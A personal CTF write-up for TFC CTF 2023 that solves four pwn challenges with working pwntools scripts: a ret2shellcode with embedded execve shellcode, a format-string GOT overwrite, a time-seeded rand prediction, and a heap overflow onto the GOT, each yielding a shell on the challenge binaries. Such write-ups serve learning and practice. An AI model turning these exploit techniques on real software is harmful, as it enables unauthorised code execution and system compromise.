TFC CTF 2023
Sup?!
Hello Guyz! My exams are complete and labs are going on. After a long time I played CTF spending ample time. I concentrated on the pwn category. I managed to solve the warmup, easy and a medium level challenge.
Pwn
Diary
This challenge was under warmup category. It just takes the input and exits. This was a ret2shellcode challenge. Using GDB, I found the offset, which was 264. There were 32 quad words, whose length is 8. So 32*8 = 256 and 8 bytes for the rbp, which equals 264. Further I found call rax gadget address and got the shellcode, I wrote the following script to solve this challenge.
from pwn import *
io = process('./TFC/diary')
offset = 264
call_rax = 0x401014
shellcode = b'\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00'
payload = shellcode + cyclic(offset-len(shellcode)) + p64(call_rax)
io.sendline(payload)
io.interactive()
Executing the script, I got the shell.

Shello-World
This challenge was also under warmup category. It just takes the input and prints hello, input. This was a format string got overwrite challenge. Using simple script, I found the address of the variable. Further I found win function address. I wrote the following script to solve this challenge.
from pwn import *
io = process('../../TFC/shello-world')
elf = ELF('../../TFC/shello-world')
# To find the address of input variable
# for i in range(1, 50):
# io = process('../../TFC/shello-world')
# payload = f'AAAAAAAA.%{i}$p'
# io.sendline(payload)
# resp = io.recvall()
# print(resp, i)
# if(b"0x4141" in resp):
# print(i)
# break
# found i = 6
# win = 0x401176 = 4198774
payload = b'%4198774x%8$nAAA' + p64(elf.got.exit)
io.sendline(payload)
io.interactive()
Executing the script, I got the shell.

Random
This challenge was under easy category. It takes 10 numbers as an input, then compares it with the random generated number. After reading the code, I understood that the program was taking the current time in seconds using time() function. Therefore when we know the seed, its possible to know the output of the random funtion. Using ctypes module, I wrote the following script to solve this challenge.
from pwn import *
io = process('../../TFC/random')
#random
import ctypes
import time
# Load the C library
libc = ctypes.CDLL("libc.so.6")
# Define the C functions
libc.time.argtypes = [ctypes.POINTER(ctypes.c_long)]
libc.time.restype = ctypes.c_long
libc.srand.argtypes = [ctypes.c_uint]
libc.srand.restype = None
libc.rand.restype = ctypes.c_int
# Seed the random number generator with the current time
current_time = ctypes.c_long()
libc.time(ctypes.byref(current_time))
current_time_seconds = int(current_time.value)
libc.srand(current_time_seconds)
# Generate and print 10 random numbers
for i in range(10):
random_number = libc.rand()
io.sendline(str(random_number).encode())
io.interactive()
Executing the script, I got the shell.

Notes
This challenge was under medium category. This is basically a heap overflow challenge. The code uses malloc when creating chunk of heap, but while editing it was creating a very large chunk. Here, we can overflow the heap by writing more than 32 bytes, causing overwriting the next chunk. The program had a win function. Using all this information, I wrote the following script to solve this challenge.
from pwn import *
def add(index):
io.recv()
io.sendline(b"1")
io.recvline()
io.sendline(str(index).encode())
io.recvline()
io.sendline(b"AA")
def edit(index, content):
io.recv()
io.sendline(b"2")
io.recvline()
io.sendline(str(index).encode())
io.recvline()
io.sendline(content)
io = process('../../TFC/notes')
elf = context.binary = ELF('../../TFC/notes', checksec=False)
add(0)
add(1)
edit(0, cyclic(32) + pack(elf.got.exit))
edit(1, pack(elf.sym.win))
io.sendline(b'0')
io.interactive()
Executing the script, I got the shell.
